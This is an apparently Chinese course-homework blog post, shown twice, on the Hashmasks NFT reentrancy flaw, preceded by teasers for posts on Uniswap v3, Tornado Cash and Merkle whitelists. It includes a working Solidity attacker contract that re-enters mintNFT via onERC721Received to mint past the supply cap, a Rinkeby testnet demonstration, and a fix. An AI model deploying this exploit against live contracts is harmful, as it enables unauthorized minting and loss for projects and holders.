Uniswap v3 无常损失分析
Sep 17, 202228 min. readUniswap v3 无常损失分析目标对 Uniswap v3 无常损失的定量分析;如何使用策略让 Uniswap v3 LP 获得更大的收益。Uniswap 概览基于恒定乘积的自动化做市商(AMM),去中心化交易所。 v1 版本:2018年11月解决了什么问题:传统交易所 order book 买卖双方不活跃导致的长时间挂单,交易效率低下功能:ETH ←→ ERC20 token 兑换带来的问题:token1 与 token2 之间的兑换需要借助 ETHUSDT → ETH → USDCv2 版本:2020年5月新功能自由组合交易对:token1 ←→ token2token1-token2 交易池LPers 提供流动性并赚取费用价格预言机(时间加权平均价格,TWAP)、闪电贷、最优化交易路径等带来的问题资金利用率低:在 x*y=k 的情况下,做市的价格区间在 (0, +∞) 的分布,当用户交易时,交易的量相比我们的流动性来说是很小的假设 ETH/DAI 交易对的实时价格为 1500 DAI/ETH,交易对的流动性池中共有资金:4...
Tornado Cash 基本原理
假设地址 A 发送了 100 ETH 给地址 B,由于在区块链上所有的数据都是公开的,所以全世界都知道地址 A 和地址 B 进行了一次交易,如果地址A和地址 B 属于同一个用户 Alice,则大家知道Alice仍然拥有 100 ETH,如果地址B属于用户 Bob,则大家知道 Bob 现在有 100ETH 了。一个问题就是:如何在交易的过程中保持隐蔽呢,或者说隐藏发送用户与接收用户之前的练习?那就要用到 Tornado Cash。 用户将资金存入Tornado Cash,然后将资金提取到另一个地址中,在区块链上记录上,这两个地址之间的联系就大概率断开了。那 Tornado Cash 是如何做到的呢?存款(deposit)过程首先我们看一下存款过程。用户在存款时需要生产两个随机数 secret 和 nullifier,并计算这两个数的一个哈希 commitment = hash(secret, nullifier),然后用户将需要混币的金额(比如 1 ETH)和 commitment 发送给 TC 合约的 deposit 函数,TC合约将保存这两个数据,commitment之后会用于...
使用 Merkle 树做 NFT 白名单验证
使用 Merkle 树做 NFT 白名单验证Merkle 树现在普遍用来做线上数据验证。这篇文章主要解释和实现使用 Merkle 树做 NFT 白名单验证。 使用 Merkle 树做 NFT 白名单验证,简单来说就是将所有的白名单钱包地址做为 Merkle 树的叶节点生成一棵 Merkle 树,在部署的NFT 合约中只存储 Merkle 树的 root hash,这样避免了在合约中存储所有白名单地址带来的高额 gas 费用。在 mint 时,前端生成钱包地址的 Merkle proof,调用合约进行验证即可。 一次验证过程前端和合约运行过程如图:图片来自 [3]Merkle 树详情请参见:https://en.wikipedia.org/wiki/Merkle_tree图片来自 [1]比如,以水果单词作为叶节点,生成 Merkle 树的结构如下:图片来自 [2]合约实现我们简单实现 Merkle 验证的过程,此合约包含以下功能:设置 Merkle 根哈希: setSaleMerkleRoot验证 Merkle proof: isValidMerkleProofmint 并记录是否...
<100 subscribers
Uniswap v3 无常损失分析
Sep 17, 202228 min. readUniswap v3 无常损失分析目标对 Uniswap v3 无常损失的定量分析;如何使用策略让 Uniswap v3 LP 获得更大的收益。Uniswap 概览基于恒定乘积的自动化做市商(AMM),去中心化交易所。 v1 版本:2018年11月解决了什么问题:传统交易所 order book 买卖双方不活跃导致的长时间挂单,交易效率低下功能:ETH ←→ ERC20 token 兑换带来的问题:token1 与 token2 之间的兑换需要借助 ETHUSDT → ETH → USDCv2 版本:2020年5月新功能自由组合交易对:token1 ←→ token2token1-token2 交易池LPers 提供流动性并赚取费用价格预言机(时间加权平均价格,TWAP)、闪电贷、最优化交易路径等带来的问题资金利用率低:在 x*y=k 的情况下,做市的价格区间在 (0, +∞) 的分布,当用户交易时,交易的量相比我们的流动性来说是很小的假设 ETH/DAI 交易对的实时价格为 1500 DAI/ETH,交易对的流动性池中共有资金:4...
Tornado Cash 基本原理
假设地址 A 发送了 100 ETH 给地址 B,由于在区块链上所有的数据都是公开的,所以全世界都知道地址 A 和地址 B 进行了一次交易,如果地址A和地址 B 属于同一个用户 Alice,则大家知道Alice仍然拥有 100 ETH,如果地址B属于用户 Bob,则大家知道 Bob 现在有 100ETH 了。一个问题就是:如何在交易的过程中保持隐蔽呢,或者说隐藏发送用户与接收用户之前的练习?那就要用到 Tornado Cash。 用户将资金存入Tornado Cash,然后将资金提取到另一个地址中,在区块链上记录上,这两个地址之间的联系就大概率断开了。那 Tornado Cash 是如何做到的呢?存款(deposit)过程首先我们看一下存款过程。用户在存款时需要生产两个随机数 secret 和 nullifier,并计算这两个数的一个哈希 commitment = hash(secret, nullifier),然后用户将需要混币的金额(比如 1 ETH)和 commitment 发送给 TC 合约的 deposit 函数,TC合约将保存这两个数据,commitment之后会用于...
使用 Merkle 树做 NFT 白名单验证
使用 Merkle 树做 NFT 白名单验证Merkle 树现在普遍用来做线上数据验证。这篇文章主要解释和实现使用 Merkle 树做 NFT 白名单验证。 使用 Merkle 树做 NFT 白名单验证,简单来说就是将所有的白名单钱包地址做为 Merkle 树的叶节点生成一棵 Merkle 树,在部署的NFT 合约中只存储 Merkle 树的 root hash,这样避免了在合约中存储所有白名单地址带来的高额 gas 费用。在 mint 时,前端生成钱包地址的 Merkle proof,调用合约进行验证即可。 一次验证过程前端和合约运行过程如图:图片来自 [3]Merkle 树详情请参见:https://en.wikipedia.org/wiki/Merkle_tree图片来自 [1]比如,以水果单词作为叶节点,生成 Merkle 树的结构如下:图片来自 [2]合约实现我们简单实现 Merkle 验证的过程,此合约包含以下功能:设置 Merkle 根哈希: setSaleMerkleRoot验证 Merkle proof: isValidMerkleProofmint 并记录是否...
Share Dialog
Share Dialog
问题4. [16 分]: Hashmasks 重入缺陷
在第8课和第3节中,我们讨论了 solidity 重入缺陷。在这个问题中,我们将看一个有趣的现实世界的例子。考虑下面16384个NFT中使用的 solidity 代码片段。通过调用此NFT合约上的 mintNFT() 函数,用户一次最多可以铸造20个NFT。您可以假设所有内部变量都由构造函数正确初始化(未显示)。
function mintNFT(uint256 numberOfNfts) public payable {
require(totalSupply() < 16384, 'Sale has already ended');
require(numberOfNfts > 0, 'numberOfNfts cannot be 0');
require(numberOfNfts <= 20, 'You may not buy more than 20 NFTs at once');
require(totalSupply().add(numberOfNfts) <= 16384, 'Exceeds NFT supply');
require(getNFTPrice().mul(numberOfNfts) == msg.value, 'Value sent is not correct');
for (uint256 i = 0; i < numberOfNfts; i++) {
uint256 mintIndex = totalSupply(); // get number of NFTs issued so far
_safeMint(msg.sender, mintIndex); // mint the next one
}
}
function _safeMint(address to, uint256 tokenId) internal virtual override {
// Mint one NFT and assign it to address(to).
require(!_exists(tokenId), 'ERC721: token already minted');
_data = _mint(to, tokenId); // mint NFT and assign it to address to
_totalSupply++; // increment totalSupply() by one
if (to.isContract()) {
// Confirm that NFT was recorded properly by calling
// the function onERC721Received() at address(to).
// The arguments to the function are not important here.
// If onERC721Received is implemented correctly at address(to) then
// the function returns _ERC721_RECEIVED if all is well.
bytes4 memory retval = IERC721Receiver(to).onERC721Received(to, address(0), tokenId, _data);
require(retval == _ERC721_RECEIVED, 'NFT Rejected by receiver');
}
}
让我们证明 _safeMint 根本不安全(尽管它的名字是安全)。
A) 假设已经铸造了16370个NFT,那么 totalSupply()=16370。请解释恶意合约如何导致超过16384个NFT被伪造。攻击者最多可以造出多少个NFT?
提示:如果在调用地址 onERC721Received 是恶意的,结果会怎样?请仔细检查铸币回路,并考虑重入缺陷。
答: 在已经 mint 16370 个NFT基础上,调用 mingNFT 可传入的最大 numberOfNfts 为 14 可以通过 mintNFT 开始五行的限制,当上述合约在调用地址 to 上的 onERC721Received 函数时,这个函数可以再次调用上述 mingNFT 函数,此时,在原来已经 mint 一个的基础上,传入的 numberOfNfts 为 13 个可以通过 mintNFT 的限制,然后重复同样的过程,依次可以 mint 12, 11 直到 1,最后在函数内部,已经没有其他限制,故这些数量的 NFT 均可以被 mint,所以理论上总共可以 mint 的数量为 $14+13+\dots+2+1=105$。
B) 假设现在总供给的价值是16370,请写出实施对(a)部分进行攻击的恶意Solidity合约代码。
答:
contract Attacker is IERC721Receiver {
Hashmasks hashmasks;
constructor(address _hashmasksAddress) {
hashmasks = Hashmasks(_hashmasksAddress);
}
function attack() public payable{
{
uint256 num = hashmasks.balanceOf(address(this));
// console.log("num: ", num);
if (num < 14) {
// 16384 - 16370 = 14
hashmasks.mintNFT{value: 14-num}(14 - num);
}
}
}
function onERC721Received(
address _from,
address _to,
uint256 _tokenId,
bytes memory _data
) external returns (bytes4) {
attack();
return msg.sig;
}
}
其中 attack 设置为 payable 是因为需要通过攻击合约调用 mintNFT 函数,需要发送一定数量的以太,可以选择在部署后先发送一定数量的以太到攻击者合约中,也可以将 attack 设置成 payable,在攻击的交易中发送以太到
实验:在 Rinkeby 上部署,攻击者合约地址为 0xf1eb80Bb66A70E44d42B3ceC0bC18Ec28B5F2Ea8,实际攻击的交易:https://rinkeby.etherscan.io/tx/0xb90496fd8789c3d1800df1bd3a571d019fb6158cbd521a9d05e57ad62460d15f,这个部署的合约中,NFT的价格设置为 1 wei,所以理论上只要发送 105 wei 到攻击这合约中,但是保险起见,发送了150wei,最后也可以看到攻击这合约中还剩下 45 wei。
C) 你会在前一页的代码中添加或更改哪一行Solidity来防止你的攻击?请注意,单个交易不应该铸造超过20个NFT。
答: 可以将 _safeMint 方法中, _totalSupply++; 这一行放到验证 NFT 的调用之后:
function _safeMint(address to, uint256 tokenId) internal virtual override {
// Mint one NFT and assign it to address(to).
require(!_exists(tokenId), 'ERC721: token already minted');
_data = _mint(to, tokenId); // mint NFT and assign it to address to
if (to.isContract()) {
// Confirm that NFT was recorded properly by calling
// the function onERC721Received() at address(to).
// The arguments to the function are not important here.
// If onERC721Received is implemented correctly at address(to) then
// the function returns _ERC721_RECEIVED if all is well.
bytes4 memory retval = IERC721Receiver(to).onERC721Received(to, address(0), tokenId, _data);
require(retval == _ERC721_RECEIVED, 'NFT Rejected by receiver');
}
_totalSupply++; // increment totalSupply() by one
}
这样,当合约被重入攻击时,由于 _totalSupply 还没有增加,因此在第二次进入 mintNFT 函数时 mintIndex 的值是第一次 mint 的值,会导致触发 'ERC721: token already minted' 这个错误,有效保证合约安全。
for (uint256 i = 0; i < numberOfNfts; i++) {
uint256 mintIndex = totalSupply(); // get number of NFTs issued so far
_safeMint(msg.sender, mintIndex); // mint the next one
}
验证交易: https://rinkeby.etherscan.io/tx/0xa5f70a226c5fd64132eee800f8902ddb9b4ff562ff7f37820d11746fbde52acb
感谢 discord yyczz#5837 对于这个问题的指导。
问题4. [16 分]: Hashmasks 重入缺陷
在第8课和第3节中,我们讨论了 solidity 重入缺陷。在这个问题中,我们将看一个有趣的现实世界的例子。考虑下面16384个NFT中使用的 solidity 代码片段。通过调用此NFT合约上的 mintNFT() 函数,用户一次最多可以铸造20个NFT。您可以假设所有内部变量都由构造函数正确初始化(未显示)。
function mintNFT(uint256 numberOfNfts) public payable {
require(totalSupply() < 16384, 'Sale has already ended');
require(numberOfNfts > 0, 'numberOfNfts cannot be 0');
require(numberOfNfts <= 20, 'You may not buy more than 20 NFTs at once');
require(totalSupply().add(numberOfNfts) <= 16384, 'Exceeds NFT supply');
require(getNFTPrice().mul(numberOfNfts) == msg.value, 'Value sent is not correct');
for (uint256 i = 0; i < numberOfNfts; i++) {
uint256 mintIndex = totalSupply(); // get number of NFTs issued so far
_safeMint(msg.sender, mintIndex); // mint the next one
}
}
function _safeMint(address to, uint256 tokenId) internal virtual override {
// Mint one NFT and assign it to address(to).
require(!_exists(tokenId), 'ERC721: token already minted');
_data = _mint(to, tokenId); // mint NFT and assign it to address to
_totalSupply++; // increment totalSupply() by one
if (to.isContract()) {
// Confirm that NFT was recorded properly by calling
// the function onERC721Received() at address(to).
// The arguments to the function are not important here.
// If onERC721Received is implemented correctly at address(to) then
// the function returns _ERC721_RECEIVED if all is well.
bytes4 memory retval = IERC721Receiver(to).onERC721Received(to, address(0), tokenId, _data);
require(retval == _ERC721_RECEIVED, 'NFT Rejected by receiver');
}
}
让我们证明 _safeMint 根本不安全(尽管它的名字是安全)。
A) 假设已经铸造了16370个NFT,那么 totalSupply()=16370。请解释恶意合约如何导致超过16384个NFT被伪造。攻击者最多可以造出多少个NFT?
提示:如果在调用地址 onERC721Received 是恶意的,结果会怎样?请仔细检查铸币回路,并考虑重入缺陷。
答: 在已经 mint 16370 个NFT基础上,调用 mingNFT 可传入的最大 numberOfNfts 为 14 可以通过 mintNFT 开始五行的限制,当上述合约在调用地址 to 上的 onERC721Received 函数时,这个函数可以再次调用上述 mingNFT 函数,此时,在原来已经 mint 一个的基础上,传入的 numberOfNfts 为 13 个可以通过 mintNFT 的限制,然后重复同样的过程,依次可以 mint 12, 11 直到 1,最后在函数内部,已经没有其他限制,故这些数量的 NFT 均可以被 mint,所以理论上总共可以 mint 的数量为 $14+13+\dots+2+1=105$。
B) 假设现在总供给的价值是16370,请写出实施对(a)部分进行攻击的恶意Solidity合约代码。
答:
contract Attacker is IERC721Receiver {
Hashmasks hashmasks;
constructor(address _hashmasksAddress) {
hashmasks = Hashmasks(_hashmasksAddress);
}
function attack() public payable{
{
uint256 num = hashmasks.balanceOf(address(this));
// console.log("num: ", num);
if (num < 14) {
// 16384 - 16370 = 14
hashmasks.mintNFT{value: 14-num}(14 - num);
}
}
}
function onERC721Received(
address _from,
address _to,
uint256 _tokenId,
bytes memory _data
) external returns (bytes4) {
attack();
return msg.sig;
}
}
其中 attack 设置为 payable 是因为需要通过攻击合约调用 mintNFT 函数,需要发送一定数量的以太,可以选择在部署后先发送一定数量的以太到攻击者合约中,也可以将 attack 设置成 payable,在攻击的交易中发送以太到
实验:在 Rinkeby 上部署,攻击者合约地址为 0xf1eb80Bb66A70E44d42B3ceC0bC18Ec28B5F2Ea8,实际攻击的交易:https://rinkeby.etherscan.io/tx/0xb90496fd8789c3d1800df1bd3a571d019fb6158cbd521a9d05e57ad62460d15f,这个部署的合约中,NFT的价格设置为 1 wei,所以理论上只要发送 105 wei 到攻击这合约中,但是保险起见,发送了150wei,最后也可以看到攻击这合约中还剩下 45 wei。
C) 你会在前一页的代码中添加或更改哪一行Solidity来防止你的攻击?请注意,单个交易不应该铸造超过20个NFT。
答: 可以将 _safeMint 方法中, _totalSupply++; 这一行放到验证 NFT 的调用之后:
function _safeMint(address to, uint256 tokenId) internal virtual override {
// Mint one NFT and assign it to address(to).
require(!_exists(tokenId), 'ERC721: token already minted');
_data = _mint(to, tokenId); // mint NFT and assign it to address to
if (to.isContract()) {
// Confirm that NFT was recorded properly by calling
// the function onERC721Received() at address(to).
// The arguments to the function are not important here.
// If onERC721Received is implemented correctly at address(to) then
// the function returns _ERC721_RECEIVED if all is well.
bytes4 memory retval = IERC721Receiver(to).onERC721Received(to, address(0), tokenId, _data);
require(retval == _ERC721_RECEIVED, 'NFT Rejected by receiver');
}
_totalSupply++; // increment totalSupply() by one
}
这样,当合约被重入攻击时,由于 _totalSupply 还没有增加,因此在第二次进入 mintNFT 函数时 mintIndex 的值是第一次 mint 的值,会导致触发 'ERC721: token already minted' 这个错误,有效保证合约安全。
for (uint256 i = 0; i < numberOfNfts; i++) {
uint256 mintIndex = totalSupply(); // get number of NFTs issued so far
_safeMint(msg.sender, mintIndex); // mint the next one
}
验证交易: https://rinkeby.etherscan.io/tx/0xa5f70a226c5fd64132eee800f8902ddb9b4ff562ff7f37820d11746fbde52acb
感谢 discord yyczz#5837 对于这个问题的指导。
No comments yet